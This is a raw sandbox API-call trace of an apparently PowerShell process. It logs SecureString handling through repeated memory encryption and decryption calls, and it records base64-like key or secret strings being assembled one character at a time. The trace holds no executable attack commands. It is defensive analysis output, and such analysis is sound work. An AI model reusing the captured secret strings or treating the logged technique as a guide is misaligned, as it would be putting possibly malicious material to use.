0x0 [0191.450] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞굛쏻忁쁂虩쾲풤㫊⊄) returned 0x20 [0191.450] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞굛쏻忁쁂虩쾲풤㫊⊄) returned 0x20 [0191.450] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.451] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71h쉿绹愵浐阀") returned 0x20 [0191.451] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.451] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞楛熬Ꮟ㉙ﴤ聸觸⋖) returned 0x20 [0191.451] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞楛熬Ꮟ㉙ﴤ聸觸⋖) returned 0x20 [0191.451] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.451] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hM绹愵浐阀") returned 0x20 [0191.451] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.451] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞큛￰톲䲮⬺챂쀅鞫≟) returned 0x20 [0191.451] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞큛￰톲䲮⬺챂쀅鞫≟) returned 0x20 [0191.451] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.451] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMA愵浐阀") returned 0x20 [0191.451] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.451] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ज़㛘鴛ဘ韥긩晐偣∲) returned 0x20 [0191.451] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ज़㛘鴛ဘ韥긩晐偣∲) returned 0x20 [0191.451] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.452] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAt浐阀") returned 0x20 [0191.452] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.452] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞鱛\껝쭭歲璎ध") returned 0x20 [0191.452] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞鱛\껝쭭歲璎ध") returned 0x20 [0191.452] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.452] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAtd阀") returned 0x20 [0191.452] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.452] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞罛臌弜赏쓁뉷\㏘腪") returned 0x20 [0191.452] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞罛臌弜赏쓁뉷\㏘腪") returned 0x20 [0191.452] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.453] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAtdx") returned 0x20 [0191.453] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.453] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢∼) returned 0x20 [0191.453] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢∼) returned 0x20 [0191.453] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢∼) returned 0x20 [0191.453] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢∼) returned 0x28 [0191.453] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.453] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAtdxd빇긶☼谨针绱") returned 0x28 [0191.455] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.455] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢弼㨭쟸೯ƌਖ〴츸≌) returned 0x28 [0191.456] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢弼㨭쟸೯ƌਖ〴츸≌) returned 0x28 [0191.456] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.456] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAtdxdd긶☼谨针绱") returned 0x28 [0191.456] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.456] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢笼㯳\䣟䛵铺圃补") returned 0x28 [0191.456] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢笼㯳\䣟䛵铺圃补") returned 0x28 [0191.456] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.456] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAtdxddI☼谨针绱") returned 0x28 [0191.456] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.456] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢꠼봽ኩᐢ\㧝貵첞\⋜) returned 0x28 [0191.456] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢꠼봽ኩᐢ\㧝貵첞\⋜) returned 0x28 [0191.456] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.456] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAtdxddIL谨针绱") returned 0x28 [0191.457] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.457] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢ꄼ魃氺畼\ǝ깐탸쾅") returned 0x28 [0191.457] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢ꄼ魃氺畼\ǝ깐탸쾅") returned 0x28 [0191.457] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.457] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAtdxddILB针绱") returned 0x28 [0191.457] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.457] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢ꀼᖪ햆꠹롷핵눍杻∣) returned 0x28 [0191.457] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢ꀼᖪ햆꠹롷핵눍杻∣) returned 0x28 [0191.457] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.457] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAtdxddILBq绱") returned 0x28 [0191.457] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.457] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢褼뗤ﱿ♵薼齃쑹闼∂) returned 0x28 [0191.457] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢褼뗤ﱿ♵薼齃쑹闼∂) returned 0x28 [0191.457] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.458] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAtdxddILBqw") returned 0x28 [0191.458] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.458] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢᮫珥熡툂흮볁⋁∌) returned 0x28 [0191.458] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢᮫珥熡툂흮볁⋁∌) returned 0x28 [0191.458] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.458] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAtdxddILBqwy") returned 0x28 [0191.458] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.458] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢㜥텠皦ꧬ缶⋧) returned 0x28 [0191.458] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢㜥텠皦ꧬ缶⋧) returned 0x28 [0191.458] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢㜥텠皦ꧬ缶⋧) returned 0x28 [0191.459] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢㜥텠皦ꧬ缶⋧) returned 0x30 [0191.459] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0191.459] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAtdxddILBqwyeᵽ᝞漟ⴗ娉䗚⩄") returned 0x30 [0191.459] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0191.459] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢㜥텠皦ꧬ缶ç\ꏛ叼ᑢ鹇쟌頺ᒀ") returned 0x30 [0191.459] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢㜥텠皦ꧬ缶ç\ꏛ叼ᑢ鹇쟌頺ᒀ") returned 0x30 [0191.459] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0191.459] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAtdxddILBqwyex᝞漟ⴗ娉䗚⩄") returned 0x30 [0191.459] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0191.459] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢㜥텠皦ꧬ缶蛧㭥퐩쳮䨭㨺ꡧ왑⊛) returned 0x30 [0191.459] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢㜥텠皦ꧬ缶蛧㭥퐩쳮䨭㨺ꡧ왑⊛) returned 0x30 [0191.459] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0191.460] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAtdxddILBqwyexg漟ⴗ娉䗚⩄") returned 0x30 [0191.460] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0191.460] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢㜥텠皦ꧬ缶淧뙳窻ꩾ￙✨拢∱) returned 0x30 [0191.460] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞ꅛ튢徆잜舢㜥텠皦ꧬ缶淧뙳窻ꩾ￙✨拢∱) returned 0x30 [0191.460] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0191.460] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71hMAtdxddILBqwyexg=ⴗ娉䗚⩄") returned 0x30 [0191.460] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0191.461] EtwEventActivityIdControl () returned 0x0 [0191.461] EtwEventActivityIdControl () returned 0x0 [0191.461] EtwEventActivityIdControl () returned 0x0 [0191.463] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.463] EtwEventActivityIdControl () returned 0x0 [0191.463] EtwEventActivityIdControl () returned 0x0 [0191.463] EtwEventActivityIdControl () returned 0x0 [0191.464] SysStringLen (param_1="") returned 0x8 [0191.464] SysStringLen (param_1="N") returned 0x8 [0191.464] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.464] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0191.464] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0191.464] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.465] SysStringLen (param_1="ND") returned 0x8 [0191.465] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.465] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0191.465] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0191.465] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.465] SysStringLen (param_1="NDZ") returned 0x8 [0191.465] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.465] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0191.465] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0191.465] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.465] SysStringLen (param_1="NDZl") returned 0x8 [0191.465] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.465] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0191.465] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0191.466] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.466] SysStringLen (param_1="NDZlO") returned 0x8 [0191.466] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.466] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0191.466] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0191.466] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.466] SysStringLen (param_1="NDZlOD") returned 0x8 [0191.466] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.466] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0191.466] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0191.466] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.466] SysStringLen (param_1="NDZlODR") returned 0x8 [0191.466] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.467] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0191.467] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0191.467] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.467] SysStringLen (param_1="NDZlODRm") returned 0x8 [0191.467] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0191.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0191.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0191.467] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0191.467] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.468] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0191.468] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0191.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0191.468] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.468] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0191.468] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0191.468] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0191.468] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.468] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0191.468] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0191.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0191.469] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.469] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0191.469] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0191.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0191.469] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.469] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0191.469] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0191.469] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0191.469] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.470] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0191.470] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.470] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0191.470] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0191.470] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.470] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0191.470] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.470] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0191.470] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0191.470] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.470] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0191.470] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.470] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0191.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0191.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0191.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0191.471] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.471] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0191.471] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0191.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0191.471] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.471] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0191.471] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.471] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0191.472] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0191.472] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.472] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0191.472] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.472] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0191.472] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0191.472] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.472] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0191.472] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.472] SysStringLen 